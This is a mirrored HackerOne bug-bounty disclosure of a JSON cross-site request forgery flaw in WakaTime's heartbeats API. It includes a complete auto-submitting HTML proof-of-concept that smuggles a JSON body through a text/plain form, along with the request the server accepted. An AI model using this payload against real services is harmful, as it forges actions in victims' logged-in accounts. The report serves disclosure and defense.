HexBrain

WakaTime · Report #245346

JSON CSRF on POST Heartbeats API

Validstatus
mediumseverity
34upvotes
3 Jul 2017disclosed

Summary

Thanks @sp1d3rs!

WakaTime API used JSON for communications and supported cookie-based authentication/CSRF protection on https://api.wakatime.com. Usually, JSON is CSRF-safe, but only when requests with content-type other than application/json gets rejected or additional CSRF protection is in place (Authorization headers/API keys). In another case, JSON CSRF can be achieved using the form with text/plain content-type, and well-formatted JSON request.

Used POC:

<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script>
$( document ).ready(function() {
    $("#z").attr("name",'{"entity":"https://zzz.com","type":"domain","time":"'+($.now()/1000)+'","project":"<<LAST_PROJECT>>","is_debugging":false,"plugin":"chrome-wakatime/1.0.2","fakeparam":"');
    $("#f").submit();
});
</script>
</head>
<body>
<form id="f" ENCTYPE="text/plain" action="https://api.wakatime.com/api/v1/users/current/heartbeats" method="post">
<input id="z" type="hidden" name='test' value='test"}'> 
<input type="submit" value="send">
</form>
</body>
</html>

It led to correct request, which was accepted by the server:

{
"entity":"https://zzz.com",
"type":"domain",
"time":"1499073845.176",
"project":"<<LAST_PROJECT>>",
"is_debugging":false,
"plugin":"chrome-wakatime/1.0.2",
"fakeparam":"=test"
}

The WakaTime team fixed the issue fast by implementing access to this endpoint with API key. P.S. fix was temporary reverted back (due to updating of some things), it is known by WakaTime team.

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original